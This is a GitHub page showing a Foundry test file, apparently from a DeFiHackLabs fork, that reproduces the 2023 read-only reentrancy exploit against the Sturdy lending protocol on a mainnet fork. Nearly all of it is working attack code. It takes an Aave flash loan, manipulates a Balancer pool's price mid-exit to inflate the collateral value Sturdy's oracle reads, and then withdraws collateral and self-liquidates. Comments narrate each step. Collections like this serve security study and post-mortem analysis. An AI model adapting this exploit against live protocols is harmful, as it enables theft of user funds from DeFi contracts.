forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Sturdy_exp.sol
329 lines (291 loc) · 14.8 KB
/
Sturdy_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~800K USD$
// Attacker : https://etherscan.io/address/0x1e8419e724d51e87f78e222d935fbbdeb631a08b
// Attack Contract : https://etherscan.io/address/0x0b09c86260c12294e3b967f0d523b4b2bcdfbeab
// Vulnerable Contract : https://etherscan.io/address/0x9f72dc67cec672bb99e3d02cbea0a21536a2b657
// Attack Tx : https://etherscan.io/tx/0xeb87ebc0a18aca7d2a9ffcabf61aa69c9e8d3c6efade9e2303f8857717fb9eb7
// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x46bea99d977f269399fb3a4637077bb35f075516#code
// @Analysis
// Post-mortem : https://sturdyfinance.medium.com/exploit-post-mortem-49261493307a
// Twitter Guy : https://twitter.com/AnciliaInc/status/1668081008615325698
// Twitter Guy : https://twitter.com/BlockSecTeam/status/1668084629654638592
// Hacking God : https://www.google.com/
interface IwstETH is IERC20 {
function unwrap(uint256 _wstETHAmount) external returns (uint256);
}
interface IMetaStablePool is IERC20 {
function getPoolId() external view returns (bytes32);
}
interface LendingPool {
function borrow(
address asset,
uint256 amount,
uint256 interestRateMode,
uint16 referralCode,
address onBehalfOf
) external;
function getUserAccountData(address user)
external
view
returns (
uint256 totalCollateralETH,
uint256 totalDebtETH,
uint256 availableBorrowsETH,
uint256 currentLiquidationThreshold,
uint256 ltv,
uint256 healthFactor
);
function liquidationCall(
address collateralAsset,
address debtAsset,
address user,
uint256 debtToCover,
bool receiveAToken
) external;
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
}
interface ILPVault {
function depositCollateralFrom(address _asset, uint256 _amount, address _user) external payable;
function withdrawCollateral(address _asset, uint256 _amount, uint256 _slippage, address _to) external;
}
interface IBalancerQueries {
function queryJoin(
bytes32 poolId,
address sender,
address recipient,
IBalancerVault.JoinPoolRequest memory request
) external returns (uint256 bptOut, uint256[] memory amountsIn);
function queryExit(
bytes32 poolId,
address sender,
address recipient,
IBalancerVault.ExitPoolRequest memory request
) external returns (uint256 bptIn, uint256[] memory amountsOut);
}
interface ISturdyOracle {
function getAssetPrice(address asset) external view returns (uint256);
}
contract ContractTest is Test {
WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IwstETH wstETH = IwstETH(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);
IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
IMetaStablePool B_STETH_STABLE = IMetaStablePool(0x32296969Ef14EB0c6d29669C550D4a0449130230);
ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
LendingPool lendingPool = LendingPool(0x9f72DC67ceC672bB99e3d02CbEA0a21536a2b657);
ILPVault AuraBalancerLPVault = ILPVault(0x6AE5Fd07c0Bb2264B1F60b33F65920A2b912151C);
ILPVault ConvexCurveLPVault2 = ILPVault(0xa36BE47700C079BD94adC09f35B0FA93A55297bc);
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IAaveFlashloan aaveV3 = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
IBalancerQueries BalancerQueries = IBalancerQueries(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);
ISturdyOracle SturdyOracle = ISturdyOracle(0xe5d78eB340627B8D5bcFf63590Ebec1EF9118C89);
function setUp() public {
vm.createSelectFork("mainnet", 17_460_609);
vm.label(address(wstETH), "wstETH");
vm.label(address(WETH), "WETH");
vm.label(address(steCRV), "steCRV");
vm.label(address(stETH), "stETH");
vm.label(address(B_STETH_STABLE), "B_STETH_STABLE");
vm.label(address(LidoCurvePool), "LidoCurvePool");
vm.label(address(lendingPool), "lendingPool");
vm.label(address(AuraBalancerLPVault), "AuraBalancerLPVault");
vm.label(address(ConvexCurveLPVault2), "ConvexCurveLPVault2");
vm.label(address(Balancer), "Balancer");
vm.label(address(aaveV3), "aaveV3");
vm.label(address(BalancerQueries), "BalancerQueries");
vm.label(address(SturdyOracle), "SturdyOracle");
}
function testExploit() public {
deal(address(this), 0);
address[] memory assets = new address[](2);
assets[0] = address(wstETH);
assets[1] = address(WETH);
uint256[] memory amounts = new uint256[](2);
amounts[0] = 50_000 * 1e18;
amounts[1] = 60_000 * 1e18;
uint256[] memory modes = new uint[](2);
modes[0] = 0;
modes[1] = 0;
console.log("1. Borrow 50,000 wstETH and 60,000 WETH from Aave as a flashloan.");
aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0); // Borrow 50,000 wstETH and 60,000 WETH from Aave as a flashloan.
emit log_named_decimal_uint(
"Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals()
);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
WETH.withdraw(1100 ether);
uint256[2] memory amount;
amount[0] = 1100 ether;
amount[1] = 0;
console.log("2. Add 1,100 ETH to steCRV pool to mint 1,023 steCRV.");
LidoCurvePool.add_liquidity{value: 1100 ether}(amount, 1000 ether); // Add 1,100 ETH to steCRV pool to mint 1,023 steCRV.
for (uint256 i; i < 1; i++) {
Exploiter exploiter = new Exploiter();
vm.label(address(exploiter), "exploiter");
WETH.transfer(address(exploiter), WETH.balanceOf(address(this)));
wstETH.transfer(address(exploiter), wstETH.balanceOf(address(this)));
steCRV.transfer(address(exploiter), steCRV.balanceOf(address(this)));
exploiter.yoink();
}
LidoCurvePool.remove_liquidity_one_coin(steCRV.balanceOf(address(this)), 0, 1000 * 1e18); // burn steCRV, get WETH
wstETH.unwrap(wstETH.balanceOf(address(this)) - amounts[0] - premiums[0]); // burn redundant wstETH, get WETH
stETH.approve(address(LidoCurvePool), stETH.balanceOf(address(this)));
LidoCurvePool.exchange(1, 0, stETH.balanceOf(address(this)), 1); // swap stETH to ETH
WETH.deposit{value: address(this).balance}();
IERC20(assets[0]).approve(address(aaveV3), amounts[0] + premiums[0]);
IERC20(assets[1]).approve(address(aaveV3), amounts[1] + premiums[1]);
return true;
}
receive() external payable {}
}
contract Exploiter is Test {
address owner;
uint256 nonce;
WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IwstETH wstETH = IwstETH(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);
IERC20 steCRV = IERC20(0x06325440D014e39736583c165C2963BA99fAf14E);
IERC20 stETH = IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84);
IMetaStablePool B_STETH_STABLE = IMetaStablePool(0x32296969Ef14EB0c6d29669C550D4a0449130230);
ICurvePool LidoCurvePool = ICurvePool(0xDC24316b9AE028F1497c275EB9192a3Ea0f67022);
LendingPool lendingPool = LendingPool(0x9f72DC67ceC672bB99e3d02CbEA0a21536a2b657);
ILPVault AuraBalancerLPVault = ILPVault(0x6AE5Fd07c0Bb2264B1F60b33F65920A2b912151C);
ILPVault ConvexCurveLPVault2 = ILPVault(0xa36BE47700C079BD94adC09f35B0FA93A55297bc);
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
IBalancerQueries BalancerQueries = IBalancerQueries(0xE39B5e3B6D74016b2F6A9673D7d7493B6DF549d5);
ISturdyOracle SturdyOracle = ISturdyOracle(0xe5d78eB340627B8D5bcFf63590Ebec1EF9118C89);
address cB_stETH_STABLE = 0x10aA9eea35A3102Cc47d4d93Bc0BA9aE45557746;
address csteCRV = 0x901247D08BEbFD449526Da92941B35D756873Bcd;
constructor() {
owner = msg.sender;
}
function yoink() external {
joinBalancerPool();
depositCollateralAndBorrow();
exitBalancerPool();
withdrawCollateralAndLiquidation();
removeBalancerPoolLiquidity();
WETH.deposit{value: address(this).balance}();
wstETH.transfer(owner, wstETH.balanceOf(address(this)));
WETH.transfer(owner, WETH.balanceOf(address(this)));
steCRV.transfer(owner, steCRV.balanceOf(address(this)));
}
function setJoinData(uint256 amt) internal view returns (IBalancerVault.JoinPoolRequest memory request) {
uint256[] memory amountIn = new uint256[](2);
amountIn[0] = 50_000 * 1e18;
amountIn[1] = 57_000 * 1e18;
bytes memory data = abi.encode(uint256(1), amountIn, amt);
request = IBalancerVault.JoinPoolRequest({
asset: new address[](2),
maxAmountsIn: amountIn,
userData: data,
fromInternalBalance: false
});
request.asset[0] = address(wstETH);
request.asset[1] = address(WETH);
return request;
}
function joinBalancerPool() internal {
bytes32 poolId = B_STETH_STABLE.getPoolId();
IBalancerVault.JoinPoolRequest memory request = setJoinData(0);
(uint256 bptOut,) = BalancerQueries.queryJoin(poolId, address(this), address(this), request);
wstETH.approve(address(Balancer), 50_000 * 1e18);
WETH.approve(address(Balancer), 57_000 * 1e18);
request = setJoinData(bptOut);
console.log(
"3. Add 50,000 wstETH and 57,000 WETH to the Balancer B-stETH-STABLE pool to mint 109,517 B-stETH-STABLE"
);
Balancer.joinPool(poolId, address(this), address(this), request); // Add 50,000 wstETH and 57,000 WETH to the Balancer B-stETH-STABLE pool to mint 109,517 B-stETH-STABLE
}
function depositCollateralAndBorrow() internal {
console.log("4. Deposit 1,000 steCRV and 233 B-stETH-STABLE as collateral into Sturdy.");
steCRV.approve(address(ConvexCurveLPVault2), 1000 * 1e18);
ConvexCurveLPVault2.depositCollateralFrom(address(steCRV), 1000 * 1e18, address(this));
B_STETH_STABLE.approve(address(AuraBalancerLPVault), 233_348_773_557_117_598_739);
AuraBalancerLPVault.depositCollateralFrom(address(B_STETH_STABLE), 233_348_773_557_117_598_739, address(this)); // Deposit 1,000 steCRV and 233 B-stETH-STABLE as collateral into Sturdy.
console.log("5. Borrow 513 WETH from Sturdy.");
lendingPool.borrow(address(WETH), 513_367_301_825_658_717_226, 2, 0, address(this)); // Borrow 513 WETH from Sturdy.
}
function setExitData(uint256 amt) internal view returns (IBalancerVault.ExitPoolRequest memory request) {
uint256[] memory amountOut = new uint256[](2);
amountOut[0] = 0;
amountOut[1] = 0;
bytes memory data = abi.encode(uint256(1), amt);
request = IBalancerVault.ExitPoolRequest({
asset: new address[](2),
minAmountsOut: amountOut,
userData: data,
toInternalBalance: false
});
request.asset[0] = address(wstETH);
request.asset[1] = address(0);
return request;
}
function exitBalancerPool() internal {
bytes32 poolId = B_STETH_STABLE.getPoolId();
uint256 amt = B_STETH_STABLE.balanceOf(address(this));
IBalancerVault.ExitPoolRequest memory request = setExitData(amt);
BalancerQueries.queryExit(poolId, address(this), address(this), request);
console.log(
"6. Remove 109,284 B-stETH-STABLE from the Balancer B-stETH-STABLE pool to receive wstETH and WETH. \n"
);
B_STETH_STABLE.approve(address(Balancer), B_STETH_STABLE.balanceOf(address(this)));
emit log_named_decimal_uint(
"Before Read-Only-Reentrancy Collateral Price \t",
SturdyOracle.getAssetPrice(cB_stETH_STABLE),
B_STETH_STABLE.decimals()
);
Balancer.exitPool(poolId, address(this), payable(address(this)), request);
}
receive() external payable {
nonce++;
if (nonce == 1) {
// Manipulate the price of B-stETH-STABLE and set steCRV as non-collateral during the manipulation. As the price of
// B-stETH-STABLE increases threefold, the protocol considers the attacker's 233 collateralized B-stETH-STABLE enough
// to cover the 513 WETH debt. Consequently, the attacker's steCRV is allowed to be no longer used as collateral.
emit log_named_decimal_uint(
"In Read-Only-Reentrancy Collateral Price \t",
SturdyOracle.getAssetPrice(cB_stETH_STABLE),
B_STETH_STABLE.decimals()
);
console.log("7. set steCRV as non-collateral during the manipulation.");
lendingPool.setUserUseReserveAsCollateral(address(csteCRV), false);
}
}
function withdrawCollateralAndLiquidation() internal {
emit log_named_decimal_uint(
"After Read-Only-Reentrancy Collateral Price \t",
SturdyOracle.getAssetPrice(cB_stETH_STABLE),
B_STETH_STABLE.decimals()
);
console.log("");
console.log("8. Withdraw 1,000 steCRV from Sturdy.");
ConvexCurveLPVault2.withdrawCollateral(address(steCRV), 1000 * 1e18, 10, address(this)); // Withdraw 1,000 steCRV from Sturdy.
(, uint256 totalDebt,,,,) = lendingPool.getUserAccountData(address(this));
console.log("9. attacker liquidates their position to reclaim collateral with 236 WETH");
// As the price of B-stETH-STABLE returns to normal, the attacker liquidates their position with 236 WETH to reclaim
// 233 B-stETH-STABLE (worth approximately 106 wstETH + 120 WETH).
WETH.approve(address(lendingPool), totalDebt);
lendingPool.liquidationCall(address(B_STETH_STABLE), address(WETH), address(this), totalDebt, false);
}
function removeBalancerPoolLiquidity() internal {
bytes32 poolId = B_STETH_STABLE.getPoolId();
uint256 amt = B_STETH_STABLE.balanceOf(address(this));
IBalancerVault.ExitPoolRequest memory request = setExitData(amt);
BalancerQueries.queryExit(poolId, address(this), address(this), request);
B_STETH_STABLE.approve(address(Balancer), B_STETH_STABLE.balanceOf(address(this)));
console.log(
"10. Remove 233 B-stETH-STABLE from the Balancer B-stETH-STABLE pool to receive 106 wstETH and 120 WETH. \n"
);
Balancer.exitPool(poolId, address(this), payable(address(this)), request);
}
}